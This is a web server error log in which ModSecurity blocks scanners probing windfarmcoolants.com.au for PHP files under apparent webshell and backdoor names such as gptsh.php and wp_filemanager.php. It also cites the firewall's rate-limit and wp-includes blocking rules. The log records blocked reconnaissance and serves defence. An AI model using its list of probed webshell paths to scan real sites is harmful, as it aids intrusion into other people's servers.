[Tue Mar 31 03:34:27.999040 2026] [:error] [pid 53198:tid 53270] [client 98.71.65.172:61724] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vvedr.php"] [unique_id "acrQQ5IIspyQOAKrL3VWJgAAAI8"]
[Tue Mar 31 03:34:28.558462 2026] [:error] [pid 53198:tid 53260] [client 98.71.65.172:65087] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vvedr.php"] [unique_id "acrQRJIIspyQOAKrL3VWKgAAAIU"]
[Tue Mar 31 03:34:29.163387 2026] [:error] [pid 53196:tid 53218] [client 98.71.65.172:59770] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "acrQRbllYgzI9aNU9ZRWOwAAABI"]
[Tue Mar 31 03:34:29.868955 2026] [:error] [pid 53198:tid 53264] [client 98.71.65.172:65045] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "acrQRZIIspyQOAKrL3VWLQAAAIk"]
[Tue Mar 31 03:34:30.516062 2026] [:error] [pid 53196:tid 53212] [client 98.71.65.172:65134] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "acrQRrllYgzI9aNU9ZRWQAAAAAw"]
[Tue Mar 31 03:34:31.117122 2026] [:error] [pid 53196:tid 53200] [client 98.71.65.172:59073] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "acrQR7llYgzI9aNU9ZRWQgAAAAA"]
[Tue Mar 31 03:34:31.637549 2026] [:error] [pid 53197:tid 53231] [client 98.71.65.172:63655] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gptsh.php"] [unique_id "acrQR2dBhXmWgrUmTZwctwAAAEM"]
[Tue Mar 31 03:34:32.197121 2026] [:error] [pid 53287:tid 53295] [client 98.71.65.172:61735] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gptsh.php"] [unique_id "acrQSADMGOSLvCorfgscMgAAAMY"]
[Tue Mar 31 03:34:32.736438 2026] [:error] [pid 53287:tid 53303] [client 98.71.65.172:59715] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gptsh.php"] [unique_id "acrQSADMGOSLvCorfgscMwAAAM4"]
[Tue Mar 31 03:34:33.248335 2026] [:error] [pid 53287:tid 53297] [client 98.71.65.172:64392] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gptsh.php"] [unique_id "acrQSQDMGOSLvCorfgscNQAAAMg"]
[Tue Mar 31 03:34:33.819935 2026] [:error] [pid 53287:tid 53296] [client 98.71.65.172:59074] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "acrQSQDMGOSLvCorfgscOQAAAMc"]
[Tue Mar 31 03:34:34.412553 2026] [:error] [pid 53287:tid 53309] [client 98.71.65.172:65112] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "acrQSgDMGOSLvCorfgscOwAAANQ"]
[Tue Mar 31 03:34:34.971425 2026] [:error] [pid 53197:tid 53244] [client 98.71.65.172:65142] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "acrQSmdBhXmWgrUmTZwcwAAAAFA"]
[Tue Mar 31 03:34:35.481469 2026] [:error] [pid 53198:tid 53256] [client 98.71.65.172:59111] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "acrQS5IIspyQOAKrL3VWNgAAAIE"]
[Tue Mar 31 03:34:35.998915 2026] [:error] [pid 53198:tid 53265] [client 98.71.65.172:61732] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/htto.php"] [unique_id "acrQS5IIspyQOAKrL3VWNwAAAIo"]
[Tue Mar 31 03:34:36.591579 2026] [:error] [pid 53287:tid 53312] [client 98.71.65.172:61745] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/htto.php"] [unique_id "acrQTADMGOSLvCorfgscQAAAANc"]
[Tue Mar 31 03:34:37.231510 2026] [:error] [pid 53197:tid 53252] [client 98.71.65.172:63631] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/htto.php"] [unique_id "acrQTWdBhXmWgrUmTZwcwgAAAFg"]
[Tue Mar 31 03:34:38.052699 2026] [:error] [pid 53287:tid 53306] [client 98.71.65.172:61730] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/htto.php"] [unique_id "acrQTgDMGOSLvCorfgscQwAAANE"]
[Tue Mar 31 03:34:38.635021 2026] [:error] [pid 53287:tid 53311] [client 98.71.65.172:61734] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xhejulap.php"] [unique_id "acrQTgDMGOSLvCorfgscRQAAANY"]
[Tue Mar 31 03:34:39.209604 2026] [:error] [pid 53287:tid 53302] [client 98.71.65.172:65049] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xhejulap.php"] [unique_id "acrQTwDMGOSLvCorfgscRwAAAM0"]
[Tue Mar 31 03:34:40.098082 2026] [:error] [pid 53196:tid 53216] [client 98.71.65.172:59068] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xhejulap.php"] [unique_id "acrQULllYgzI9aNU9ZRWSAAAABA"]
[Tue Mar 31 03:34:41.208106 2026] [:error] [pid 53197:tid 53240] [client 98.71.65.172:59771] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xhejulap.php"] [unique_id "acrQUWdBhXmWgrUmTZwcxgAAAEw"]
[Tue Mar 31 03:34:42.118718 2026] [:error] [pid 53287:tid 53295] [client 98.71.65.172:61702] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "acrQUgDMGOSLvCorfgscTAAAAMY"]
[Tue Mar 31 03:34:42.995511 2026] [:error] [pid 53197:tid 53233] [client 98.71.65.172:64455] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "acrQUmdBhXmWgrUmTZwcxwAAAEU"]
[Tue Mar 31 03:34:44.131545 2026] [:error] [pid 53197:tid 53244] [client 98.71.65.172:59762] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "acrQVGdBhXmWgrUmTZwcywAAAFA"]
[Tue Mar 31 03:34:45.380605 2026] [:error] [pid 53197:tid 53230] [client 98.71.65.172:60407] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "acrQVWdBhXmWgrUmTZwczwAAAEI"]
[Tue Mar 31 03:34:46.879006 2026] [:error] [pid 53198:tid 53271] [client 98.71.65.172:59657] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8pewqMTX.php"] [unique_id "acrQVpIIspyQOAKrL3VWRgAAAJA"]
[Tue Mar 31 03:34:47.559533 2026] [:error] [pid 53196:tid 53220] [client 98.71.65.172:63710] File does not exist: /usr/local/apache/htdocs/suspended-page/8pewqMTX.php
[Tue Mar 31 03:34:47.813277 2026] [:error] [pid 53196:tid 53223] [client 98.71.65.172:63710] File does not exist: /usr/local/apache/htdocs/suspended-page/ddpxi.php
[Tue Mar 31 03:34:48.181533 2026] [:error] [pid 53196:tid 53206] [client 98.71.65.172:63710] File does not exist: /usr/local/apache/htdocs/suspended-page/cdkfu.php
[Tue Mar 31 03:34:48.442875 2026] [:error] [pid 53196:tid 53204] [client 98.71.65.172:63710] File does not exist: /usr/local/apache/htdocs/suspended-page/IcC7p.php
[Tue Mar 31 03:34:48.696750 2026] [:error] [pid 53196:tid 53217] [client 98.71.65.172:63710] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php
[Tue Mar 31 03:34:48.950545 2026] [:error] [pid 53196:tid 53203] [client 98.71.65.172:63710] File does not exist: /usr/local/apache/htdocs/suspended-page/Jcrop.php
[Tue Mar 31 06:18:42.160195 2026] [:error] [pid 1224:tid 1245] [client 4.223.111.108:10132] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acr2wsXGPQPzIHnCuJhEAAAAARM"]
[Tue Mar 31 06:18:42.684422 2026] [:error] [pid 18439:tid 18463] [client 4.223.111.108:10226] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acr2wi-R9nOaA8Xqs7jmNgAAAMw"]
[Tue Mar 31 06:18:43.213889 2026] [:error] [pid 18439:tid 18471] [client 4.223.111.108:10236] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acr2wy-R9nOaA8Xqs7jmOQAAANQ"]
[Tue Mar 31 06:18:43.745316 2026] [:error] [pid 18439:tid 18469] [client 4.223.111.108:10228] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acr2wy-R9nOaA8Xqs7jmOwAAANI"]
[Tue Mar 31 13:59:02.070002 2026] [:error] [pid 6548:tid 6550] [client 96.44.136.159:48230] [client 96.44.136.159] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||windfarmcoolants.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "actiprgIz9HgMl9YwE5UygAAAUA"], referer: https://www.google.com
[Tue Mar 31 20:16:18.558230 2026] [:error] [pid 36982:tid 36994] [client 158.158.107.18:15128] [client 158.158.107.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acu7EvlMmeoQKN0r_GOwdgAAAMk"]
[Tue Mar 31 20:16:19.041520 2026] [:error] [pid 36890:tid 36909] [client 158.158.107.18:15162] [client 158.158.107.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acu7E58FASPd_uH8z7c5rwAAAA4"]
[Tue Mar 31 20:16:19.522626 2026] [:error] [pid 6548:tid 6569] [client 158.158.107.18:15116] [client 158.158.107.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acu7E7gIz9HgMl9YwE4_BwAAAVM"]
[Tue Mar 31 20:16:20.001658 2026] [:error] [pid 6548:tid 6550] [client 158.158.107.18:15151] [client 158.158.107.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acu7FLgIz9HgMl9YwE4_CgAAAUA"]
[Wed Apr 01 01:41:23.994718 2026] [:error] [pid 52836:tid 52893] [client 144.172.106.121:45782] [client 144.172.106.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Content/Type/index.php"] [unique_id "acwHQ5jk_YTY8bXnEz5C1QAAAEE"]
[Wed Apr 01 01:41:27.097928 2026] [:error] [pid 52592:tid 52659] [client 144.172.106.121:50044] [client 144.172.106.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "acwHRz-61iqkPKUhqlbarQAAAAw"]
[Wed Apr 01 01:41:34.270549 2026] [:error] [pid 52836:tid 52911] [client 144.172.106.121:35900] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Wed Apr 01 01:41:35.412104 2026] [:error] [pid 52836:tid 52916] [client 144.172.106.121:35900] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Wed Apr 01 01:41:38.297470 2026] [:error] [pid 52836:tid 52896] [client 144.172.106.121:35900] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Wed Apr 01 01:41:39.248618 2026] [:error] [pid 52836:tid 52894] [client 144.172.106.121:35900] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog-header.php"] [unique_id "acwHU5jk_YTY8bXnEz5DCQAAAEI"]
[Wed Apr 01 01:41:43.968422 2026] [:error] [pid 52836:tid 52909] [client 144.172.106.121:43480] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit-tags.php"] [unique_id "acwHV5jk_YTY8bXnEz5DEAAAAFE"]
[Wed Apr 01 01:41:45.254678 2026] [:error] [pid 52836:tid 52898] [client 144.172.106.121:43496] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "acwHWZjk_YTY8bXnEz5DFwAAAEY"]
[Wed Apr 01 01:41:48.394040 2026] [:error] [pid 52836:tid 52895] [client 144.172.106.121:43512] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hoot.php"] [unique_id "acwHXJjk_YTY8bXnEz5DHwAAAEM"]
[Wed Apr 01 01:41:50.826588 2026] [:error] [pid 52592:tid 52654] [client 144.172.106.121:34372] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/backup/inputs.php"] [unique_id "acwHXj-61iqkPKUhqlbayAAAAAc"]
[Wed Apr 01 01:41:54.011846 2026] [:error] [pid 52836:tid 52901] [client 144.172.106.121:34384] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/inputs.php"] [unique_id "acwHYpjk_YTY8bXnEz5DLAAAAEk"]
[Wed Apr 01 01:41:58.339326 2026] [:error] [pid 52836:tid 52899] [client 144.172.106.121:34386] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/inputs.php"] [unique_id "acwHZpjk_YTY8bXnEz5DNgAAAEc"]
[Wed Apr 01 01:42:00.137301 2026] [:error] [pid 52836:tid 52908] [client 144.172.106.121:55642] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/inputs.php"] [unique_id "acwHaJjk_YTY8bXnEz5DOgAAAFA"]
[Wed Apr 01 01:42:05.555872 2026] [:error] [pid 52836:tid 52912] [client 144.172.106.121:55650] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/userfuns.php"] [unique_id "acwHbZjk_YTY8bXnEz5DTAAAAFQ"]
[Wed Apr 01 01:42:08.294365 2026] [:error] [pid 52592:tid 52662] [client 144.172.106.121:55666] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/userfuns.php"] [unique_id "acwHcD-61iqkPKUhqlba3QAAAA8"]
[Wed Apr 01 01:42:13.052039 2026] [:error] [pid 52594:tid 52710] [client 144.172.106.121:46566] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/userfuns.php"] [unique_id "acwHdUe53suVMS91e0Qs5AAAAMk"]
[Wed Apr 01 01:42:16.412957 2026] [:error] [pid 52593:tid 52683] [client 144.172.106.121:46568] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/about.php"] [unique_id "acwHeOKOtxqtcDhRtD-MywAAAIk"]
[Wed Apr 01 01:42:19.518574 2026] [:error] [pid 52836:tid 52915] [client 144.172.106.121:38906] [client 144.172.106.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "acwHe5jk_YTY8bXnEz5DagAAAFc"]
